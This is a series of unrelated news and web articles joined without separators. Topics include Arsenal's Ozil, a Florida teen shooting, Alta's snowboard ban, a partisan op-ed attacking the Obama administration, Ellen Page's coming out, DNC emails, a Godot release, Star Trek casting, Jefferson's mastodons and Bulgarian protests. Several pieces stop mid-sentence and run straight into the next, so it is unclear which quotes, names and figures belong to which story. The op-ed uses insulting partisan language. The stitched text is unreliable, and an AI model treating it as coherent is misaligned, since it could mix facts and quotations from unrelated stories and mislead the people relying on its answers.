Arsenal have certainly missed the inventiveness Ozil brings their attack. Prior to the confidence-building win over West Ham, the Gunners had scored just four goals in their previous five games. That tally is hardly indicative of the free-flowing football for which Wenger's team are renowned.
Ozil, like Robert Pires before him, can be the oil in their engine. He can make a stodgy team smooth once more. He has the gift of being able to find space in any situation, gliding around the pitch until the critical moment arrives. When it does, he invariably has the technical skill required to make the telling pass. Ozil is a striker's dream.
He definitely suffered after the missed penalty at home to Bayern Munich. That was a huge game for him, and he would have been desperate to make an impact against his countrymen. However, a spell on the sidelines will have given him time to think. He will know there is still a great chance to make an impact on this season.
Michael Regan/Getty Images
A Wembley final looms. Ozil has not played much part in Arsenal's FA Cup run to date |
orange undershirt; his mother, father and stepfather were present in support. He is being represented by attorney Neil Kerch, who told the judge the incident was a tragic accident.
“We’re hoping and praying that the child makes a full recovery. It’s too early for us to know exactly what happened, but we’re reviewing it with the state attorney and hoping we can get a [unintelligible] resolution.”
Police said the 15-year-old boy, whose name was not released, was shot in the forehead with a hidden firearm that the older teenager retrieved from his bed frame. The armed teen believed he had removed the magazine with five bullets from the firearm and pointed it using a “red laser pointer” at the other boy’s head, according to a police report.
Wayne K. Roustan/Sun Sentinel Wayne K. Roustan/Sun Sentinel
“My understanding is they’re very good friends and this was just a horrible accident involving a gun,” Kerch said. “I know he’s alive and he’s at the hospital and we’re hoping for a full and speedy recovery.”
Original story follows:
Police are investigating the shooting of a 15-year-old boy by a teenage friend Wednesday in Pembroke Pines, officials said.
"He was shot in the head with a handgun, and when he was taken to Memorial Regional Hospital in Hollywood, he was conscious and alert," said Ruben Troncoso, Pembroke Pines Fire Rescue chief of operations. "It was not self-inflicted."
Troncoso said the other boy, 16, was on the scene and in police custody. Police later took that boy, in handcuffs, away in a patrol car.
"Preliminary investigation has revealed that the 16-year-old juvenile suspect discharged a firearm, striking the 15-year-old victim in the forehead," Pembroke Pines Police Sgt. Scott Carris said in a news release.
Authorities did not identify the teenagers.
Late Wednesday afternoon, the injured boy was described by police as being in guarded condition, while the older boy was being interviewed by detectives and facing a charge of attempted manslaughter with a firearm.
The incident happened at 12:30 p.m. in the 8200 block of Northwest Tenth Street at the home of the 16-year-old, who called 911, Pembroke Pines Police Capt. Al Xiques said.
"Detectives are still trying to figure out the details of what happened," Xiques said. "Investigators don't believe the shooting was accidental."
No one else was at the house during the gunfire, the agency said.
The police department's mobile crime scene truck arrived at 2 p.m. and joined six patrol cars that lined Tenth Street. The crime scene truck left two hours later, but crime scene tape barred traffic on the block.
Netta Nicosia, 36, lives a few doors away from where the shooting happened but said she didn't hear it because she was using a hair dryer at the time.
"It's a quiet neighborhood, a family neighborhood, never any problems," Nicosia said while pushing her 10-month-old daughter, Isabella, in a stroller.
She was surprised to learn there had been gunfire.
"It creeps you out, especially when you have a baby," she said. "It makes you wonder who lived near you."
She was upset to hear a boy had been injured.
"It's sad, it's sad," she said. "Hopefully he's OK."
Last summer, a 14-year-old Sunrise boy was fatally shot when a handgun held by a friend in a Cooper City garage went off, according to the Broward Sheriff's Office.
The July 30 death of Charlie Martin led to his friend, Eric Palacios, now 15, facing a manslaughter charge. Martin's parents are suing Palacio's stepfather and mother for wrongful death and damages in a civil case that is scheduled for a jury trial in November.
ltrischitta@Tribune.com, 954-356-4233 or Twitter @LindaTrischittaIn this Feb. 19 photo, skiers take the slopes at Alta Ski Resort in Little Cottonwood Canyon near Salt Lake City. A Utah resort long known as a skiers' mountain has been sued for refusing to open its slopes to snowboarders — a legal action that again exposed a culture clash on the slopes. ( Jeffrey D. Allred / Deseret News )
SALT LAKE CITY — A Utah resort long known as a skiers' mountain has been sued for refusing to open its slopes to snowboarders — a legal action that again exposed a culture clash on the slopes.
In their lawsuit filed Wednesday, four snowboarders claimed discrimination on national forest lands that make up most of the Alta ski area in the mountains east of Salt Lake City.
The lawsuit says the plaintiffs bought tickets Sunday knowing they would be turned away at the chairlifts and could then sue the resort. One of them later sneaked onto the lift using "split boards "— a snowboard that splits apart and resembles skis — but was intercepted and escorted down the mountain.
Alta is one of the last remaining U.S. ski areas that bans snowboarding, and the lawsuit claims Alta dislikes snowboarders for their allegedly reckless skiing, inconsiderate attitude, baggy clothes and their overuse of such words as "gnarly" and "radical" when describing difficult terrain.
Deer Valley, another Utah resort, and Mad River Glen in Vermont also ban snowboarding. Taos in New Mexico relented in 2009 and allowed the practice.
Skiers' chief complaint is that snowboarders' sideways stance leaves them with a blind spot that can make their wide, sweeping turns a danger to others on the slopes.
Some say the culture war is old news now that young people are turning back to using a pair of skis instead of one board.
"Snowboarding as a sport peaked a couple of years ago. It was counter-culture, but it became too mainstream," said Riley Cutler, a partner at a Salt Lake City ski shop, Wasatch Touring. "Now kids are going back to skiing on twin tips and riding rails."
News of the lawsuit lit up the websites of Utah newspapers with passionate comments such as: Snowboarders "ruin all the snow" by scraping it down to ice; they "don't watch where they're going;" and they "stop in the middle of the hill and sit down! What's up with that?"
David Quinney, a minority owner of Alta, said customers prefer to have the mountain kept for skiers only.
"Alta is forbidden fruit for snowboarders," said Quinney, whose grandfather Joe Quinney founded Alta in 1939. "The thing about Alta, so much of it involves hiking, climbing and traversing. That's not real conducive to snowboarding."
Quinney said the culture clash that separated skiers and snowboarders in the 1990s has become a cliche, and banning snowboarding remains a matter of safety, not style.
"I'm a skier, always have been," he said. "There are skiers out there that appreciate going to a place that allows skiers only, not snowboarders."
The U.S. Forest Service also was named as a defendant in the lawsuit. Government officials declined comment, said Loyal Clark, a spokeswoman for the Uinta-Cache Wasatch National Forest.
Snowboarding might have lost some of its cool since starting in the late 1970s, but about a third of all resort visitors are still sliding downhill on one plank, not two, according to surveys by the National Ski Areas Association.
The lawsuit concedes that snowboarders were "perhaps rightfully" stereotyped as riffraff decades ago by more sophisticated and affluent skiers, but times have changed.
The plaintiffs in the lawsuit are Rick Alden, Drew Hicken, Bjorn Leines and Richard Vargas. They are asking a federal judge to declare that Alta's ban violates the Constitution's promise of equal treatment under the law.When two of our diplomatic missions were sacked on September 11, the Obama Administration was exposed for the cretinous rabble that it is. We now know there was 48 hours warning of the attacks. We now know the situation in Benghazi was so dire that one diplomat there told friend in an online forum the he hoped he didn’t die that night. A great deal of evidence indicates that the USMC security force in Cairo did not have loaded weapons… at present the Administration is studiously denying that the Ambassador ordered the Marines to not carry ammunition, not that they didn’t have it. We know our Ambassador went to the tinderbox that was Benghazi without a security detail.
This is not mere incompetence, this is a callous disregard for our embassies and their personnel. It is, however, in keeping with nominating as ambassador to Iraq a man whose most notable achievement was getting a blow job on the embassy roof, while sleeping with a female (thank heaven for small favors) Wall Street Journal reporter, as his wife waited at home.
But this administration is nothing if not imaginative.
Before the Cairo embassy was sacked the staff there sent out a series of tweets, and made statements, that denounced a private citizen in the United States for exercising his First Amendment rights. Now the administration has decided that is can successfully deflect all attention from its own epic blunders and blame everything on a film that wasn’t even made. Today White House Spokesmunckin Jay Carney said the attacks were not even about the US they were about the film.
Shamefully, they have enlisted Chairman of the Joint Chiefs of Staff Martin Dempsey to call a Florida pastor, Terry Jones, someone who wasn’t even involved the “film”, and asked him to stop his well founded, if over the top, criticisms of Islam.
Now we hear they have approached YouTube and asked them if the video violates YouTube’s term of service. I’m sure the question was followed by “this is a nice little website you got here, it would be a shame if the Justice Department’s Antitrust Division started looking at it.” Already Obama’s cronies who run Google have blocked the video from being accessed in the Arab world.
At any other time in American history we would find it is incredible that we have a president and his secretary of state denounce a private citizen for their speech. It is would be stunning that an administration would utterly disavow any responsibility for virutally anything.
The only answer anyone needed give on the faux controversy surrounding that film or any of Pastor Terry Jones’ activities is that we live in a free society and the government — at least for the time being — doesn’t have the authority to decide what speech is permissible.Andrea Janus, CTVNews.ca
Canadian actress Ellen Page came out as gay during a speech to a conference for lesbian, gay, bisexual and transgender youth in Las Vegas on Friday evening, saying she hoped to “help others have an easier and more hopeful time.”
Page made the declaration at Human Right’s Campaign’s inaugural Time To THRIVE event.
“I’m here today because I am gay,” Page said, according to a copy of her speech posted to the Human Right’s Campaign website. “And because… maybe I can make a difference. To help others have an easier and more hopeful time. Regardless, for me, I feel a personal obligation and a social responsibility.
"I also do it selfishly, because I am tired of hiding and I am tired of lying by omission. I suffered for years because I was scared to be out. My spirit suffered, my mental health suffered and my relationships suffered. And I’m standing here today, with all of you, on the other side of all that pain.”
In a brief statement, Human Rights Campaign said it “congratulates Page on her brave decision to live openly and authentically.”
The 26-year-old hit it big in Hollywood with a starring role in Juno, and has appeared in big-budget films such as Inception and the X-Men series.
During her speech, Page admitted that the entertainment industry’s “crushing standards” of beauty and success have made it difficult for her to be herself.
“You have ideas planted in your head, thoughts you never had before, that tell you how you have to act, how you have to dress and who you have to be,” she said. “I have been trying to push back, to be authentic, to follow my heart, but it can be hard.”
She also reached out to those who may be bullied at school “for no reason. Or you go home and you feel like you can’t tell your parents the whole truth about yourself. Beyond putting yourself in one box or another, you worry about the future. About college or work or even your physical safety. Trying to create that mental picture of your life -- of what on earth is going to happen to you -- can crush you a little bit every day. It is toxic and painful and deeply unfair.”
Page noted how she, too, faces intense scrutiny from the media.
“I try not to read gossip as a rule, but the other day a website ran an article with a picture of me wearing sweatpants on the way to the gym. The writer asked, “Why does (this) petite beauty insist upon dressing like a massive man?”
“Because I like to be comfortable. There are pervasive stereotypes about masculinity and femininity that define how we are all supposed to act, dress and speak. They serve no one. Anyone who defies these so-called 'norms' becomes worthy of comment and scrutiny. The LGBT community knows this all too well.”
Page hailed the courage of other celebrities who have come out recently, including top NFL prospect Michael Sam.
And she told the crowd that she, like they, has struggled with self-acceptance.
“You’re here because you’ve adopted as a core motivation the simple fact that this world would be a whole lot better if we just made an effort to be less horrible to one another.
If we took just 5 minutes to recognize each other’s beauty, instead of attacking each other for our differences. That’s not hard. It’s really an easier and better way to live. And ultimately, it saves lives.”Presumptive Democratic presidential nominee Hillary Clinton in Charlotte, N.C., on July 5. (Melina Mara/The Washington Post)
It may be tempting for the media to walk away from the Republican National Convention and train their cameras and notebooks on next week’s Democratic Party proceedings in Philadelphia. That, however, would mean ignoring a nasty piece of political news that broke over the weekend. The story not only deserves closer public scrutiny; it also, if true, cries out for corrective action by presumptive Democratic presidential nominee Hillary Clinton.
On Friday, The Post reported that, among internal emails taken from the Democratic National Committee and published by WikiLeaks were messages exchanged between the DNC’s chief financial officer Brad Marshall and other DNC officials that seemed to indicate they wanted Sen. Bernie Sander (I-Vt.) to be pressed about his faith so his beliefs could be turned against him.
Using a candidate’s faith or lack of religious belief as a political weapon is a disgusting tactic, made all the more repellent if used by a political party that prides itself on religious tolerance and diversity.
Sanders is not mentioned by name in the emails, but here is one of Marshall’s emails quoted in its entirety:
From:MARSHALL@dnc.org
To: MirandaL@dnc.org,PaustenbachM@dnc.org, DaceyA@dnc.org
Date: 2016-05-05 03:31
Subject: No s—
It might may no difference, but for KY [Kentucky] and WVA [West Virginia} can we get someone to ask his belief. Does he believe in a God. He had skated on saying he has a Jewish heritage. I think I read he is an atheist. This could make several points difference with my peeps. My Southern Baptist peeps would draw a big difference between a Jew and an atheist.
The email was sent to DNC Communications Director Luis Miranda and Deputy Communications Director Mark Paustenbach and chief executive officer Amy Lacey.
Another Marshall email, The Post reported, time-stamped a few minutes later, says, “It’s these Jesus thing.” A few hours later, Lacey reportedly responds: “Amen.”
The DNC didn’t respond to The Post for comment, but “The Intercept,” an online publication, which first reported on the WikiLeaks email, quoted Marshall as saying via email that he didn’t “recall” the exchange, adding, “it would not have been Sanders. It would probably be about a surrogate.”
Marshall needs his memory refreshed. And there’s no one better to do that than Hillary Clinton. After all, it is in her interest, as a Democratic Party leader, to ensure that the party’s hierarchy isn’t involved in the business of drawing out the religious beliefs of opponents in order to harm their campaigns. The presumptive leader of the Democratic Party cannot countenance such despicable behavior.
So on her way to Philadelphia, Clinton should stop by party headquarters to learn exactly who was looking to find someone to ask Sanders whether he believed in God or was an atheist. And if she finds out that that is what the DNC’s CFO, CEO and communications director were up to, she should tell them that she intends to stop by headquarters on her way back from Philadelphia next week and that she intends to find someone to ask if they have left their jobs. If they haven’t, she’s going to find someone to tell them they are fired. And if she can’t, she’ll tell them herself.
Then off to Philly and shouts from the roaring crowd.Updates on the release cycle – and Godot 2.0.1 By: Rémi Verschelde
The stable release of Godot 2.0 was nine months in the making and brought a great deal of new features and bug fixes alike. Some of our users had been testing the alpha and beta versions, but others had decided to stay on the stable 1.1 version and thus had to wait quite a long time for bug fixes.
We therefore decided two important things for our release cycle:
Shorter release cycle
Stable releases will happen more often. Release early, release often is a proven philosophy that we all affectionate and we think that it will be beneficial to Godot.
The long wait for Godot 2.0 was actually mostly due to breaking the compatibility with 1.1 (especially for the new TSCN/TRES format). We wanted to make it a big release so that the inconvenience of losing compatibility with 1.1 would be compensated by great new features.
On the other hand, we do not give an ETA for the future releases. In a community-driven project such as ours, it very much depends on the availability of the contributors, and we will then release when it's ready. There has however been some good progress on the main features that we would like to release in 2.1 (not all those of the "2.1" roadmap though, we will split it in several sub-releases in the 2.x branch), mainly the new plugins API and addons sharing platform.
Maintenance releases for the current stable version
In the meantime, we plan to release bugfix versions of our latest stable release, to bring our users interesting bug fixes without having to "risk" using the master branch in production. It will also be particularly relevant for the version we distribute on Steam, where users would likely want to benefit from upstream bug fixes without being forced into beta-testing.
Godot 2.0.1
And to get started with these maintenance releases, we announce the availability of Godot 2.0.1! It contains some non-critical bug fixes and a few usability improvements, that should improve the overall experience of Godot 2.0 users.
The main fixes in this release are:
Enhancements:
Usability improvements in the help section (full object inheritance, searchable class list)
Better and configurable placement of the script editor call hint
Support configuration presets for self-contained builds (especially for Steam)
Added more gamepads bindings
Improved classes documentation
Reduced size of demos package
Bug fixes:
Fixed addition/delete of global variables in the project settings
Fixed blending functions in AnimationTreePlayer
Fixed transform localization event in mouse motion
Fixed closing a scene tab when it was not the current tab
See the full changelog for more details, and head towards the Download page to get it!
For this release, we also used a new buildsystem to create and deploy the binaries, so please contact us if you experience any regression relatively to 2.0 stable.The city of Pittsburgh provided an overbroad, “boilerplate” denial to the American Civil Liberties Union’s request for information about its police’s military technology and tactics without even searching for the information, a lawyer representing the ACLU said in court Monday.
Not only did the city fail to look for the records, it did not state a reason for denying the March 2013 request, Andrew Stanton, a lawyer with K&L Gates, told a panel of Commonwealth Court judges hearing the ACLU’s appeal of the city’s denial.
The city’s response “doesn’t say which exemptions or why they apply,” Stanton said. “It doesn’t even say the records exist.”
Assistant City Solicitor Matthew S. McHale acknowledged that the city didn’t search for the records, despite a law that says it must make a “good faith” effort.
He argued to Judges Anne E. Covey, Bernard L. McGinley and Rochelle S. Friedman that the ACLU’s appeal should be dismissed because its response to the city’s denial was overly broad.
McHale said the city’s response “meets the terms of the statute.” The purpose of the state’s Right-to-Know Law isn’t “to answer questions about how the world works,” he added.
The ACLU sought several records related to the city’s SWAT team, including the number of times it has been deployed, the type of weapons and training materials it uses, funding sources and the number of injuries to civilians during deployments since January 2011.
The organization also sought information about GPS tracking devices, the use of drones and military weaponry and vehicles obtained through federal agencies such as the Department of Defense and the Department of Homeland Security.
The request was part of a national effort.
The judges set no timetable for when they will render their opinion.
Adam Brandolph is a staff writer for Trib Total Media. He can be reached at 412-391-0927 or abrandolph@tribweb.com.Famed Oscar award winning director, Quentin Tarantino, startled audiences at a local theater in Portland with a surprise visit on Tuesday, December 29th. Tarantino attended the 6:00pm and 10:30pm screenings at the Hollywood Theatre.
Tarantino was upbeat, sarcastic and opened with, “don’t you have anything better to do on a Tuesday night?” Listen to his second intro in the video linked below.
The screenings at the Hollywood Theatre, located in Portland’s east side, mark the return of Ultra Panavision 70mm. The film was released limited to theaters equipped with the older technology.
Two theaters in Oregon can screen the 70mm including Hollwood Theater and Regal Cinema’s Bridgeport Cinema 18.
“The Hateful Eight,” is Tarantino’s eighth film and heralds a bygone western setting with typical “Tarantinoesque” violence. The film will continue its 70mm run through at least January 7th at the Hollywood and a few weeks longer at the Bridgeport Cinema.
Photo from Hollywood Theatre
Comments
commentsCalgary police say they're no longer investigating a claim of a dog reported to be stolen and found hogtied in an alley, citing "significant and unexplained inconsistencies."
Alyssa Hatfield and her fiancé Cameron Edmonds filed the complaint with police earlier this month, after Edwards claimed their Akita-Husky cross, Radar, was taken from the backyard of their Whitehorn home and found in a nearby alley several hours later. She reported that the animal's legs were bound with rope and muzzled with a belt.
Staff Sgt. Brad Moore told reporters Thursday police had interviewed Edmonds, as well as people living in the area, and found no evidence of the alleged dog-napping.
"We found no bindings, no rope, no belts in that area," he said, adding that there were no footprints leading into the couple's backyard.
There were also inconsistencies in Radar's condition, said Moore.
"No missing teeth, no missing fur, no rope burns in which the veterinarians say would be consistent with this type of incident."
Hatfield told Metro Calgary she could provide proof of Radar's vet bills at two separate clinics and said Radar had been suffering from seizures since the incident. However, she confirmed veterinarians found no physical injuries.
"I wouldn’t make this up,” Hatfield told Metro. “I feel like we’re being told that we’re lying."
Investigators say their focus has shifted to an online fundraising campaign designed to collect money for Radar's vet care. As of Thursday morning, the Indiegogo campaign had raised $1,745 – surpassing the $1,100 goal.
Police said another person started the fundraising campaign for the couple, reported Global News. Investigators are looking at having the money returned to donors.
The complaint in Whitehorn came a week after an emaciated Siberian Husky and kitten were found dead in an alley, muzzled with clear tape. That investigation is ongoing.
Also on HuffPostPokkén Tournament was one of only two Pokémon titles to grace the Wii U; less than the four new titles on the Nintendo GameCube and six on the Nintendo Wii. While it sold over a million units (a fair effort given the Wii U’s userbase), the game lacked the updates seen granted to the arcade version, such as new fighters. Only now do we see them in the new version for the Nintendo Switch. But is Pokkén Tournament DX a true improvement over its predecessor, and does it do well as the first title on the Nintendo Switch when considered by itself?
Table of Contents
Summary
For those not in the know, Pokkén Tournament DX is a 3D fighting game developed by Bandai Namco Games – basically a Pokémon version of Tekken. There’s a few twists added to the usual formula of combos; for instance, three types of attacks exist with a rock-paper-scissors aspect involved, where normal attacks beat grabs, grabs overcome counter attacks, and counters defeat normal attacks. There’s also the two different phases; Field Phase is one where fighters can run freely in any direction, while Duel Phase has characters restricted to moving relative to each other. Landing strong attacks switches you between these phases, and it appears to be an answer to breaking the chance of infinite combos occurring. Ultimately it feels a little awkward but it does add some variety to battles.
Adding to this is a myriad of Support Pokémon which can attack, boost or heal you, and a Synergy Gauge which charges as you attack or collect energy during the Field Phase. This comes with a significant stat boost for a short amount of time, and the chance to perform a Burst Attack – a powerful strike that comes with a fancy cutscene unique to each Pokémon. Overall you have the makings of a solid battling system, and much is centred on Pokémon, with a few creative liberties here and there. Suicune’s Burst Attack involving so much ice, or Scizor seemingly been more of a robot than living bug are instances that stand out, but otherwise it’s sensible enough.
Levels exist too for the single player modes. As you use a fighter, it gains experiences and levels. Each level grants a Skill Point that can be spent on Attack, Defense, Synergy, or Strategy (use of Supports), and these add up. They have no bearing on multiplayer modes however.
These features were all part of the original Pokkén Tournament for Wii U release, and nothing has been added in terms of gameplay mechanics beyond some balancing of attack power or the like. Luckily a few modes and bonuses have been added in, alongside Pokémon.Huge news, Star Trek fans: The first new Trek series in a decade has found its star. f
Sonequa Martin-Green, well known to genre fans for her role on AMC’s mega-hit The Walking Dead, has been cast as the lead of Star Trek: Discovery, sources tell EW.
The casting ends meticulous search to find the ideal actress to anchor the eagerly anticipated new CBS All Access drama. Martin-Green will play a lieutenant commander on the Discovery. (CBS Television Studios had no comment.)
Martin-Green is will continue to serve as a series regular on AMC’s zombie drama, where she has played the tough pragmatic survivor Sasha Williams since season 3.
The casting brings the 31-year-old Martin-Green back to the CBS family. She previously played Courtney Wells on The Good Wife (which is getting a spin-off series, titled The Good Fight, on All Access that debuts in February). She also starred as Tamara on ABC’s Once Upon a Time. Martin-Green’s husband, Kenric Green, is also an actor on TWD.
Martin-Green represents the first African-American woman to lead the cast of a Trek ensemble, fulfilling a years-long goal by the project’s original showrunner Bryan Fuller. The series will also have the TV franchise’s first openly gay character, a lieutenant played by Anthony Rapp.
“Star Trek started with a wonderful expression of diversity in its cast … we’re continuing that tradition,” Fuller noted to reporters in August. “We wanted to paint a picture of Starlet that’s indicative of encountering people who are much more different than we are.” While Fuller stepped down from his duties to focus on his upcoming series on Starz, American Gods, Discovery’s new showrunners Gretchen J. Berg and Aaron Harberts are moving forward with his original vision.
Another evolution from Trek tradition: Unlike the previous series in the franchise, the main protagonist of Discovery won’t be a captain (at least, not initially). Fuller described Martin-Green’s character as a “lieutenant commander with caveats.”
“We’ve seen six series from the captain’s point of view,” he explained. “To see a character from a [new] perspective on the starship — one who has different dynamic relationships with a captain, with subordinates, it gave us richer context.”
The casting of Martin-Green fills the most crucial role in the series, which CBS will premiere in May on its All Access streaming service. Discovery has made a flurry of other castings in recent few weeks too. Michelle Yeoh will play Captain Georgiou, the Starfleet Captain aboard the Starship Shenzhou; Doug Jones (Hellboy, Falling Skies) will play Lt. Saru, a Starfleet Science Officer and a new alien species in the Star Trek universe; and Rapp (Rent, Road Trip) was cast as Lt. Stamets, an “astromycologist,” fungus expert, and Starfleet Science Officer aboard the Starship Discovery.
The show also cast three actors as Klingons: Chris Obi (Roots) as T’Kuvma, a leader seeking to unite the Klingon houses; Shazad Latif (Penny Dreadful), who will play Kol, a Klingon Commanding Officer, and protege of T’Kuvma; and the newcomer Mary Chieffo as L’Rell, the Battle Deck Commander of a Klingon ship.
RELATED: The Best and Worst TV of 2016
Trek is executive-produced by Fuller, Berg and Harberts along with Alex Kurtzman, Heather Kadin, Akiva Goldsman, Rod Roddenberry and Trevor Roth.Today is Thomas Jefferson's birthday. So what would he have wanted? Probably some mastodon bones — it's one of the things he sent Lewis and Clark to find.
Jefferson carried out a lot of eccentric scientific experiments at his home in Monticello. But mastodons were one of his more unusual interests: he believed there were still mastodons roaming the unexplored West in North America, and he desperately wanted to find them.
His passion included covering the White House floor with mastodon bones, like a kid spreading out Halloween candy. And his interest in mastodons also helped form the basis for modern paleontology.
Why Jefferson believed mastodons roamed the American West
Stanley Hedeen tells the story of Jefferson's mastodon obsession in Big Bone Lick, a book about the wild early days of American paleontology. Jefferson was one of many founding fathers interested in all the bizarre fossils being discovered across North America (particularly the large supply found at Big Bone Lick in Kentucky). In 1780, for example, George Washington was intrigued by early mastodon remains found in Claverack, New York.
Patriotism was one of the big reasons the founding fathers cared so much about the fossils they were uncovering. Influential Europeans like Georges-Louis Leclerc, Comte de Buffon argued that species found in the New World were inferior to the ones found in Europe.
"the movements of nature are in a never-ending circle"
But there was also a simpler reason for the obsession. At the time, extinction wasn't an accepted idea. Many early Americans believed that the fossils they found belonged to animals that were still alive, roaming the American landscape somewhere.
In the late 18th century, the idea of extinction was only just beginning to be popularized by some thinkers (including Georges Cuvier). But Jefferson wasn't among the believers. In a pre-Darwinian age, extinction was a violation of religious ideals (God would not let animals go extinct) and secular ideals (the balance of nature could never be so significantly upset). For Jefferson in particular, extinction was just an unusual theory: "In fine, the bones exist," he wrote. "Therefore the animal has existed. The movements of nature are in a never-ending circle."
Jefferson asked Lewis and Clark to look for mastodons, and he sent Clark on a bone-hunting trip
That's one of the reasons he sent Meriwether Lewis and William Clark on their famous expedition.
Though the official purpose was to find new opportunities for commerce, Jefferson also had Lewis and Clark collect samples of the bones they found and search for any mysterious new animals. And in 1807, after their main trip had concluded, he sent Clark on a special mission to Big Bone Lick in Kentucky to collect fossil specimens.
Clark sent more than 300 bones back to the White House in 1808, and Jefferson rearranged them in the storage area that would become the White House's East Room. He then catalogued and divided the specimens, sending some of them to museums and others off to France. This wasn't a purely whimsical exercise, either: the bones helped French scientists classify the American mastodon as a different species than the European mammoth.
Jefferson's interest in bones didn't only extend to finding the mastodon, however. He also believed he was the first to identify a new creature. He thought it was a giant, ferocious lion, but it was actually something even more unusual.
Jefferson thought he found a lion. It turned out to be a giant ground sloth.
Jefferson's proudest discovery was the Megalonyx jeffersonii, which continues to bear his name. In 1797, Jefferson obtained the bones after they were uncovered from a cave. After examining them, he named the creature "megalonyx," which is Greek for "great claw." He imagined a lion-like creature that matched American ambitions: fierce, gigantic, and untamable.
It was actually a giant ground sloth that was about nine feet long, ate upright on its hind feet, and appeared in the United States, Canada, and Mexico. It lived 150,000 to 10,000 years ago.
Though Jefferson wanted to use the Megalonyx to disprove extinction — he hoped Lewis and Clark would find the animal out West — it nonetheless became an important discovery. By 1799, Megalonyx had been identified as a ground sloth, and in 1822, it got the former president's name.
Around the same time, Jefferson's view of the world changed. By 1823, he wrote to John Adams that he believed extinction was a possibility, and that animals could become extinct if they were replaced by new forms. Even if he was wrong about extinction, Jefferson's discoveries retain their importance. That, in a way, might be the best birthday present Jefferson could hope for.
WATCH: 'Can we bring animals back from extinction?'Reviewer’s Foreword
Picking up The Slow Regard of Silent Things you are greeted by a number of warnings from the author:
“You might not want to buy this book.”
…
“I think it’s only fair to warn you that this is a bit of a strange story.”
…
“I don’t go in for spoilers, but suffice to say that this one is… different. It doesn’t do a lot of the things a classic story is supposed to do.”
Patrick Rothfuss, 2014
Yes. Going into The Slow Regard of Silent Things I’d heard all the warnings from Patrick Rothfuss – that this story might not be for me, you or anyone else. However, if you’re a fan of Rothfuss I’m not sure that even a ‘radioactive hazard’ sign could stop you picking up this book.
For those who don’t know: the story goes that Rothfuss began writing this story initially as a submission for George R.R. Martin’s Rogues anthology, but it spiralled into something that was too long and completely unsuited for such a collection.
From there it sat half finished for a while and Pat wasn’t sure whether he should take the time to finish it. However, fascinated by its ‘strangeness’ and ‘odd sweetness’ Pat found he couldn’t leave it without a suitable ending – I guess he felt he owed it to Auri, one of his favourite characters. So, he got back to work and once completed showed it to some friends. All agreed that it was beautiful and that they liked it, but also concurred with Pat’s assessment: that it was weird. So, again, Pat considered leaving it at that – an exercise of exploring the inner workings and experiences of Auri. Eventually though Pat showed it to one of his editors who loved it and told him that he needed to ignore his anxiety over what people ‘may’ think and just get it out there for those who ‘will’ like it. And that’s what Pat did.
—
The Review
The Slow Regard of Silent Things is a novella that focuses on Auri and her life down in the Underthing (the abandoned underground floors of the university we visit briefly in The Kingkiller Chronicles).
As you will know, Auri is a character of mysterious origins. In The Kingkiller Chronicles we hear from Elodin (a teacher at the University) that he has seen Auri sneaking in and out of the university for a number of years. She is petit, sweet, innocent and almost faery-like. Although Elodin was never able to approach her, Auri is attracted to Kvothe’s mastery of the Lute and her fondness of watching him play eventually allows him to draw her from the shadows and build up enough trust that they interact and become friends. Despite the bond that they form – a true, loving one – Auri will not answer personal questions about her past and is very uncomfortable even being asked.
Entering Auri’s point of view, we instantly recognise that we are not following a ‘normal |
aged workers” were included. These are people who have given up their job search, convinced they have no hope of finding work.
Article Continued Below
They may well be right. As of April, there were six unemployed workers for every job vacancy.
While the economy has added 950,000 jobs since the recession (more than replacing the 400,000 lost during the downturn), the population has grown by 1.8 million. As a result, 61.7 per cent of Canadians are employed today, compared to 63.8 per cent four years ago.
Temporary, contract and casual work has grown at triple the rate of permanent employment since the recession.
Part-time work has also climbed steadily. As of March 2013, a total of 3.3 million Canadians worked part-time — an increase of 93,000 over pre-recession levels. Men over 25 — society’s traditional breadwinners — are most heavily affected. They experienced a 23.2 per cent increase in part-time jobs, whereas women in the same age group — often regarded as secondary earners — experienced a 9.2 per cent increase.
The duration of joblessness has risen since the recession. In 2008, the average job-seeker was out of work for 14.8 weeks. Today it is 20.2 weeks.
And young people have been hammered repeatedly. Last month alone they lost 46,000 jobs; more than any other any group. Officially their unemployment rate is 13.9 per cent, but it would jump to 19.8 per cent if discouraged workers were taken into account. There is one particularly worrisome subset, described by statisticians as NEET (not in education, employment or training). It now constitutes 13.3 per cent of jobless youth, an increase of 2 percentage points since the recession.
Article Continued Below
On the positive side, Citizens for Public Justice highlighted three developments. Newfoundland and the three Prairie provinces have done relatively well. The construction sector, health care and natural resources have performed strongly. And the long-standing gap between immigrants and Canadian-born workers has narrowed. But overall, there is more pain than progress in its 20-page report. The document does a good job of explaining why Flaherty’s upbeat rhetoric — “as job creators we have an enviable record” — is at odds with the perceptions of Canadians. It does a less effective job of advocating relief. CPJ calls for “significant action to tackle labour market disparities and improve job quality.” But it does not identify any specific programs or policies. It argues that Canada has the “fiscal capacity to invest in well-designed measures to support employment that targets those most in need.” But it doesn’t fill in any of the details. In fairness to the citizens’ group, governments, academics and think-tanks around the world are grappling with this problem — and they haven’t come up with many answers either. Everybody is struggling to prod the economy out of its malaise, free the billions of dollars locked in corporate coffers and restore the dignity of work. What is clear — regardless of the numbers — is that Canadians are hurting. Until Flaherty acknowledges that, there can be no meaningful dialogue. Carol Goar’s column appears Monday, Wednesday and Friday.A Tennessee woman is charged with attempted first-degree murder for what investigators say was a failed abortion attempt. The Daily News Journal reports Anna Yocca, of Murfreesboro, about 33 miles southeast of Nashville, was arrested on Wednesday. She is jailed on a $200,000 bond.According to a Murfreesboro Police Department report, in September Yocca, 31, filled a bathtub with water and attempted to self-abort with a coat hanger. She began bleeding and became worried about her safety.Her boyfriend took her to the hospital where doctors delivered a 24-week-old baby weighing just 1.5 pounds. Doctors told investigators the child will need medical support for the rest of his life because of the injuries he sustained.Yocca is due in court Dec. 21. Jail officials did not know whether she has an attorney.The streets of the capital of Bulgaria are being cleared today, following violent protests overnight.
The actions started over a month ago, triggered by a controversial government appointment, later cancelled.
Hundreds of people blockaded the parliament building, trapping over a hundred politicians and journalists inside.
Police tried to clear a path through the crowd to allow some of the officials to be evacuated in a bus, but the crowd responded by throwing missiles. After an hour the police gave up and the bus returned to parliament.
At least seven protesters and two police were injured, but reports indicate none were serious.
The Bulgarian parliament had been debating a budget amendment which would see an increase in the deficit and borrowing limit.
